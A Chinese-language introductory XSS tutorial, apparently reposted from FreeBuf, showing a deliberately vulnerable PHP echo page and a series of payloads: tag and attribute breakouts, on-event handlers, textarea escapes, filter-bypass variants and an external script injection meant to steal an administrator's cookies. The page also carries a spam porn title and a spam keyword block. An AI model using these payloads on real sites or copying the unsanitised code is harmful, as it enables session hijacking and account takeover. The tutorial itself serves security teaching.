成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

XSS的原理分析與解剖

安全 應用安全
xss是一門又熱門又不太受重視的Web攻擊手法,為什么會這樣呢,原因有下:耗時間、有一定幾率不成功、沒有相應的軟件來完成自動化攻擊、是一種被動的攻擊手法等。

0×01 前言:

[[118026]]

《xss攻擊手法》一開始在互聯網上資料并不多(都是現成的代碼,沒有從基礎的開始),直到刺的《白帽子講WEB安全》和cn4rry的《XSS跨站腳本攻擊剖析與防御》才開始好轉。

我這里就不說什么xss的歷史什么東西了,xss是一門又熱門又不太受重視的Web攻擊手法,為什么會這樣呢,原因有下:

1、耗時間
2、有一定幾率不成功
3、沒有相應的軟件來完成自動化攻擊
4、前期需要基本的html、js功底,后期需要扎實的html、js、actionscript2/3.0等語言的功底
5、是一種被動的攻擊手法
6、對website有http-only、crossdomian.xml沒有用

但是這些并沒有影響黑客對此漏洞的偏愛,原因不需要多,只需要一個。

Xss幾乎每個網站都存在,google、baidu、360等都存在。

0×02 原理:

首先我們現在本地搭建個PHP環境(可以使用phpstudy安裝包安裝),然后在index.php文件里寫入如下代碼:

  1. <html> 
  2. <head> 
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4. <title>XSS原理重現</title> 
  5. </head> 
  6. <body> 
  7. <form action="" method="get"> 
  8. <input type="text" name="xss_input"> 
  9. <input type="submit"> 
  10. </form> 
  11. <hr> 
  12. <?php 
  13. $xss = $_GET['xss_input'];  
  14. echo '你輸入的字符為<br>'.$xss;  
  15. ?> 
  16. </body> 
  17. </html> 
  18.  

然后,你會在頁面看到這樣的頁面

XSS的原理分析與解剖

我們試著輸入abcd123,得到的結果為

XSS的原理分析與解剖

我們在看看源代碼

XSS的原理分析與解剖

我們輸入的字符串被原封不動的輸出來了,那這里我們提出來一個假設,假設我們在搜索框輸入下面的代碼會出現什么呢?

  1. <script>alert('xss')</script> 

如果按照上面的例子來說,它應該存在第12行的[br]與[/boby]>之間,變成:

  1. <br><script>alert('xss')</script></boby> 

之后,應該會彈出對話框。

既然假設提出來,那我們來實現下這個假設成不成立吧。

我們輸入

  1. <script>alert('xss')</script> 

得到的頁面為

XSS的原理分析與解剖

成功彈窗,這個時候基本上就可以確定存在xss漏洞。

我們在看看源代碼

XSS的原理分析與解剖

看來,我們的假設成功了,這節就說說XSS的原理,下面幾節說說xss的構造和利用。

#p#

0×03 xss利用輸出的環境來構造代碼 :

上節說了xss的原理,但是我們的輸出點不一在[ br ]和[ /boby ]里,可以出現在html標簽的屬性里,或者其他標簽里面。所以這節很重要,因為不一定 當你輸入下面代碼就會出現彈窗。 

  1. <script>alert('xss')</script> 

先貼出代碼:

  1. <html> 
  2. <head> 
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4. <title>XSS利用輸出的環境來構造代碼</title> 
  5. </head> 
  6. <body> 
  7. <center> 
  8. <h6>把我們輸入的字符串 輸出到input里的value屬性里</h6> 
  9. <form action="" method="get"> 
  10. <h6>請輸入你想顯現的字符串</h6> 
  11. <input type="text" name="xss_input_value" value="輸入"><br> 
  12. <input type="submit"> 
  13. </form> 
  14. <hr> 
  15. <?php 
  16. $xss = $_GET['xss_input_value'];  
  17. if(isset($xss)){  
  18. echo '<input type="text" value="'.$xss.'">';  
  19. }else{  
  20. echo '<input type="type" value="輸出">';  
  21. }  
  22. ?> 
  23. </center> 
  24. </body> 
  25. </html> 

下面是代碼的頁面

XSS的原理分析與解剖

這段代碼的作用是把第一個輸入框的字符串,輸出到第二個輸入框,我們輸入1,那么第二個input里的value值就是1,下面是頁面的截圖和源代碼的截圖(這里我輸入下面的代碼來測試)

  1. <script>alert('xss')</script> 

XSS的原理分析與解剖 

XSS的原理分析與解剖

明顯的可以看到,并沒有彈出對話框,大家可能會疑惑為什么沒有彈窗呢,我們來看看源代碼

XSS的原理分析與解剖

我們看到我們輸入的字符串被輸出到第15行input標簽里的value屬性里面,被當成value里的值來顯現出來,所以并沒有彈窗,這時候我們該怎么辦呢?聰明的人已經發現了可以在

  1. <script>alert(&#039;xss&#039;)</script> 

前面加個">來閉合input標簽。所以應該得到的結果為

XSS的原理分析與解剖

成功彈窗了,我們在看看這時的頁面

XSS的原理分析與解剖

看到后面有第二個input輸入框后面跟有">字符串,為什么會這樣呢,我們來看看源代碼

XSS的原理分析與解剖

這時可以看到我們構造的代碼里面有兩個">,第一個">是為了閉合input標簽,所以第二個">就被拋棄了,因為html的容錯性高,所以并沒有像php那樣出現錯誤,而是直接把多余的字符串來輸出了,有的人是個完美主義者,不喜歡有多余的字符串被輸出,這時該怎么辦呢?

這里我問大家一個問題,我之前說的xss代碼里,為什么全是帶有標簽的。難道就不能不帶標簽么?!答:當然可以。既然可以不用標簽,那我們就用標簽里的屬性來構造XSS,這樣的話,xss代碼又少,又不會有多余的字符串被輸出來。

還是這個環境,但是不能使用標簽,你應該怎么做。想想input里有什么屬性可以調用js,html學的好的人,應該知道了,on事件,對的。我們可以用on事件來進行彈窗,比如這個xss代碼 我們可以寫成

  1. onclick="alert(&#039;xss&#039;)  

這時,我們在來試試,頁面會發生什么樣的變化吧。

XSS的原理分析與解剖

沒有看到彈窗啊,失敗了么?答案當然是錯誤的,因為onclick是鼠標點擊事件,也就是說當你的鼠標點擊第二個input輸入框的時候,就會觸發onclick事件,然后執行alert(&#039;xss&#039;)代碼。我們來試試看

XSS的原理分析與解剖

當我點擊后,就出現了彈窗,這時我們來看看源代碼吧

XSS的原理分析與解剖

第15行,value值為空,當鼠標點擊時,就會彈出對話框。這里可能就會有人問了,如果要點擊才會觸發,那不是很麻煩么,成功率不就又下降了么。我來幫你解答這個問題,on事件不止onclick這一個,還有很多,如果你想不需要用戶完成什么動作就可以觸發的話,i可以把onclick改成

Onmousemove 當鼠標移動就觸發

Onload 當頁面加載完成后觸發

還有很多,我這里就不一一說明了,有興趣的朋友可以自行查詢下。

別以為就這樣結束了,還有一類環境不能用上述的方法,

那就是如果在[ textarea ]標簽里呢?!或者其他優先級比script高的呢?

就下面這樣

XSS的原理分析與解剖

這時我們該怎么辦呢?既然前面都說了閉合屬性和閉合標簽了,那能不能閉合完整的標簽呢,答案是肯定的。我們可以輸入下面的代碼就可以實現彈窗了。

  1. </textarea><script>alert('xss')</script> 

#p#

0×04 過濾的解決辦法

假如說網站禁止過濾了script 這時該怎么辦呢,記住一句話,這是我總結出來的“xss就是在頁面執行你想要的js”不用管那么多,只要能運行我們的js就OK,比如用img標簽或者a標簽。我們可以這樣寫

  1. <img scr=1 onerror=alert('xss')>當找不到圖片名為1的文件時,執行alert('xss')  
  2. <a href=javascrip:alert('xss')>s</a> 點擊s時運行alert('xss')  
  3. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr來彈窗  
  4. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>過濾了alert來執行彈窗   

等等有很多的方法,不要把思想總局限于一種上面,記住一句話“xss就是在頁面執行你想要的js”其他的管他去。(當然有的時候還有管他…)

0×05 xss的利用

說了那么多,大家可能都以為xss就是彈窗,其實錯了,彈窗只是測試xss的存在性和使用性。

這時我們要插入js代碼了,怎么插呢?

你可以這樣

  1. <script scr="js_url"></script> 

也可以這樣

  1. <img src=x onerror=appendChild(createElement('script')).src='js_url' /> 

各種姿勢,各種插,只要鞥運行我們的js就OK。那運行我們的js有什么用呢?

Js可以干很多的事,可以獲取cookies(對http-only沒用)、控制用戶的動作(發帖、私信什么的)等等。

比如我們在網站的留言區輸入下面的代碼:

  1. <script scr="js_url"></script> 

當管理員進后臺瀏覽留言的時候,就會觸發,然后管理員的cookies和后臺地址還有管理員瀏覽器版本等等你都可以獲取到了,再用“桂林老兵cookie欺騙工具”來更改你的cookies,就可以不用輸入賬號 密碼 驗證碼 就可以以管理員的方式來進行登錄了。

至于不會js的怎么寫js代碼呢,放心網上有很多xss平臺,百度一下就可以看到了。頁面是傻瓜式的操作,這里就不再過多的說明了。

有興趣的朋友,下面是cn4rry給我的幾個xss平臺,大家可以自己鉆研與研究,也可以自己搭建

http://pan.baidu.com/s/1ntqOp4X

在發布此文章的時候,我特地和cn4rry談了一下,得到的結果是,我會繼續寫這個系列的。當我把這個doc發給cn4rry的時候,他就直接來句“嗯 寫的比較基礎”,我本來的打算是寫一個xss入門的就可以了,我只是感覺 現在網上的文章從簡單開始介紹xss的比較少,都是在書里有

所以 我想在網上把他講的細點 xss入門就可以了,后面的路 就可以自己摸索了

但是和他談過后,感覺還是要繼續寫下去,因為“xss盲打”“xss編碼繞過”“fuzzing xss”等等,如果是自己慢慢琢磨的話,需要較長的時間,所以我打算每過一段時間就會推出下一個xss的文章,寫個系列出來。

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2015-10-14 14:11:45

HTTP網絡協議

2010-08-30 11:08:53

DIV+CSS

2010-09-30 10:55:19

2023-02-07 09:17:19

Java注解原理

2022-06-08 10:17:51

服務管理通信

2015-11-10 11:00:58

2021-07-12 09:17:54

Memory Comp系統內存

2013-05-02 13:16:21

產品經理案例分析移動應用

2023-11-29 16:21:30

Kubernetes服務注冊

2019-03-25 07:27:14

XSS漏洞Ecshop

2011-08-30 14:48:02

2011-01-11 16:11:03

2016-09-29 14:03:06

2013-04-07 10:11:27

2009-11-24 09:39:55

SUSE Linux

2009-07-24 13:54:39

MVVM模式

2010-04-20 11:31:26

Oracle邏輯結構

2009-11-30 10:55:22

2010-05-07 16:21:08

Oracle Raw類

2020-02-12 15:08:41

KVM內部運作
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 成人av一区二区三区 | 久久精品亚洲欧美日韩久久 | 精品毛片在线观看 | www.久久精品 | 精品视频一区二区三区在线观看 | 少妇一区二区三区 | 国产精品中文字幕在线播放 | 在线观看www | 一区二区三区久久久 | 久久久精彩视频 | www国产精品 | 97久久国产| 在线成人 | 999精品视频 | 免费成年网站 | 美女日皮网站 | 91久久精品一区二区二区 | 天堂三级| 97精品超碰一区二区三区 | 麻豆一区 | 日韩三级免费观看 | 日韩中文字幕在线观看 | 亚洲人成人一区二区在线观看 | 粉嫩一区二区三区四区公司1 | 欧美日韩亚洲一区 | 欧美中文字幕在线观看 | 国产xxx在线观看 | 麻豆av在线免费观看 | 国产精品1区2区 | 久久r免费视频 | 精品久久久久久久久久 | 三级av在线 | 国产精品一区二区三区四区 | 天天操夜夜骑 | 日韩一二区在线 | 一级a毛片 | 孰女乱色一区二区三区 | 国产自产c区 | 成人激情视频在线 | 亚洲一区中文字幕 | 欧美国产日韩在线观看成人 |